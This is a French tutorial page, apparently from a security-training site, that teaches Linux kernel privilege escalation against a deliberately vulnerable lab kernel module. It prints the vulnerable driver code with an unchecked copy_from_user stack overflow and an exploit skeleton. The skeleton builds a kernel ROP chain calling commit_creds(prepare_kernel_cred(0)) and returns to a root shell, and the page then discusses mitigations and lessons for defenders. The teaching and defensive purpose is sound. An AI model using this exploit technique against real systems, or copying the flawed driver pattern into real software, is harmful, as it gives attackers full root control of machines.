Aller au contenu

Exploitation du noyau : d'un bug à root

Un bug mémoire du noyau vise le privilège, pas un shell : modèle de credentials, charge commit_creds(prepare_kernel_cred(0)), retour propre en userspace.

Publié le 4 min de lecture

Ceci est le premier tutoriel de l'espace Exploitation du noyau. Tout ce que vous avez appris dans les espaces x86-64 et ARM64 sur les débordements et le détournement du flux de contrôle s'applique toujours — mais la cible est le noyau du système d'exploitation, et le butin n'est pas un shell, c'est le privilège.

Les bugs du noyau font planter la machine entière, pas un seul processus. Ne faites cela que dans une machine virtuelle jetable que vous pouvez réinitialiser, contre un module noyau que vous avez écrit. Une panique est attendue et normale pendant le développement d'un exploit. Voir les règles du labo.

Le modèle : le ring 3 demande, le ring 0 agit

Les programmes utilisateur (ring 3) ne peuvent pas toucher directement au matériel ni à la mémoire des autres processus. Ils demandent au noyau (ring 0) d'agir en leur nom via des appels système. Le noyau s'exécute avec tous les privilèges et peut voir la mémoire de chaque processus. Un bug de corruption mémoire atteignable depuis un appel système donne donc à un attaquant l'exécution de code dans le contexte le plus privilégié de la machine.

L'attaquant exécute déjà du code en tant qu'utilisateur non privilégié. La seule question est de savoir comment transformer un bug du noyau en root.

Comment le noyau représente le privilège

Chaque tâche possède une struct cred contenant ses uid, gid et capabilities. Root est simplement une cred avec uid == 0 et toutes les capabilities. Linux expose deux fonctions qui, ensemble, constituent la primitive d'élévation de privilèges :

La charge canonique d'élévation de privilèges sous Linux
prepare_kernel_cred(0)alloue une cred fraîche avec des identifiants root
renvoie un cred*
commit_creds(cred)l'installe sur la tâche courante
la tâche courante est maintenant uid 0
return to userspaceswapgs ; iretq de retour vers le ring 3
uid 0 en ring 3
execve("/bin/sh")un shell root
codelibrarydata

Si nous pouvons faire exécuter au noyau commit_creds(prepare_kernel_cred(0)), le processus entré dans le noyau devient root. Nous revenons ensuite en userspace et lançons un shell.

La cible : un module noyau vulnérable

Les noyaux de CTF et d'entraînement embarquent un module noyau chargeable (LKM) délibérément vulnérable exposant un périphérique avec un bug. Un débordement de pile minimal via un handler write :

/* vuln.c — un LKM délibérément vulnérable (labo uniquement). */
static ssize_t vuln_write(struct file *f, const char __user *buf,
                          size_t len, loff_t *off) {
    char local[64];
    copy_from_user(local, buf, len);   /* le bug : len est contrôlé par l'attaquant */
    return len;
}

copy_from_user(local, buf, len) avec un len contrôlé par l'attaquant fait déborder le tampon de 64 octets sur la pile du noyau — le débordement de pile que vous connaissez déjà, mais sur la pile du noyau, en écrasant une adresse de retour sauvegardée que le CPU suivra en ring 0.

La forme de l'exploit

/* exploit.c — s'exécute en tant qu'utilisateur non privilégié dans la VM du labo. */
// 1) Sauvegarde de l'état userspace pour y revenir après l'élévation de privilèges.
save_state();                 // stocke user cs, ss, rsp, rflags via de l'asm inline

// 2) Construction d'une chaîne ROP noyau dans le débordement qui exécute :
//      rdi = 0; call prepare_kernel_cred
//      rdi = rax; call commit_creds
//      swapgs; iretq  -> retour vers user shell()
unsigned long payload[N];
size_t i = OFFSET / 8;        // décalage jusqu'à l'adresse de retour sauvegardée
payload[i++] = pop_rdi;       payload[i++] = 0;
payload[i++] = prepare_kernel_cred;
payload[i++] = pop_rdi_from_rax_trampoline;  // déplace rax -> rdi
payload[i++] = commit_creds;
payload[i++] = swapgs_ret;
payload[i++] = iretq;
payload[i++] = (unsigned long)shell;   // RIP sauvegardé
payload[i++] = user_cs; payload[i++] = user_rflags;
payload[i++] = user_sp; payload[i++] = user_ss;

int fd = open("/dev/vuln", O_RDWR);
write(fd, payload, sizeof(payload));   // déclenche le débordement
// après iretq on atterrit dans shell() en tant que root :
void shell(void){ if (getuid()==0) system("/bin/sh"); }

Les adresses des symboles du noyau (prepare_kernel_cred, commit_creds) proviennent de /proc/kallsyms sur un noyau non durci, ou d'une fuite (les prochains guides traitent le cas où elles sont masquées). Le résultat :

$ ./exploit
[*] saved user state
[*] triggering overflow...
# id
uid=0(root) gid=0(root) groups=0(root)

Réactivez les mitigations

Chaque mitigation du noyau retire une commodité sur laquelle cet exploit s'appuyait :

MitigationEffet sur cet exploit
kptr_restrict / dmesg_restrictMasque /proc/kallsyms et les pointeurs des logs — vous devez faire fuiter les adresses des symboles
KASLRRandomise la base du noyau ; une seule fuite dérandomise toute l'image
Canari de pile du noyau (CONFIG_STACKPROTECTOR)Détecte le débordement de pile avant le retour
SMEP / SMAPEmpêchent le noyau d'exécuter ou de lire l'espace utilisateur — le guide suivant
KPTIDémappe le noyau des tables de pages utilisateur — le troisième guide

Ce que cela apprend à un défenseur

  • Un bug du noyau est une compromission complète de la machine. Il n'y a pas de frontière de privilège au-dessus de root. Traitez tout bug de corruption mémoire atteignable depuis le noyau comme de gravité maximale, y compris dans les pilotes et les modules hors arbre.
  • La surface d'attaque est le levier. La plupart des LPE noyau se trouvent dans les pilotes, les systèmes de fichiers et les appels système de niche, pas dans le code central. Réduire la surface atteignable (seccomp, lockdown, désactivation des modules inutilisés) met des classes entières de bugs hors de portée.
  • Activez les options de configuration. CONFIG_STACKPROTECTOR_STRONG, KASLR, SMEP/SMAP et le durcissement du troisième guide sont les équivalents noyau des options userland des flags de durcissement de binaire.

Points clés à retenir

  • L'exploitation du noyau transforme un bug mémoire atteignable par appel système en privilège, pas en shell.
  • Le privilège réside dans struct cred ; commit_creds(prepare_kernel_cred(0)) rend la tâche courante root.
  • Après l'élévation de privilèges, vous devez revenir en ring 3 avec l'état utilisateur sauvegardé via swapgs ; iretq.
  • Travaillez uniquement dans une VM réinitialisable ; les mitigations qui suivent (SMEP, SMAP, KASLR, KPTI) retirent chacune une étape sur laquelle cela reposait.

Ensuite : ret2usr, SMEP et SMAP, les défenses qui empêchent le noyau de faire confiance à la mémoire de l'espace utilisateur.

Guides associés

0x9000 · Exploitation du noyau

ret2usr, SMEP et SMAP

Le noyau faisait confiance à la mémoire userspace. SMEP et SMAP y ont mis fin — et voici comment le ROP noyau les contourne.

0x9000 · Exploitation du noyau

KASLR, KPTI et défenses modernes du noyau

Randomisation d'adresses, isolation des tables de pages et options de configuration qui durcissent un noyau Linux : ce que chacune arrête et comment l'activer.

0xa000 · Exploitation Windows

Contourner DEP sous Windows avec ROP

DEP rend le shellcode sur la pile inexécutable ; une chaîne ROP appelle VirtualProtect pour rendre la région exécutable, puis y saute.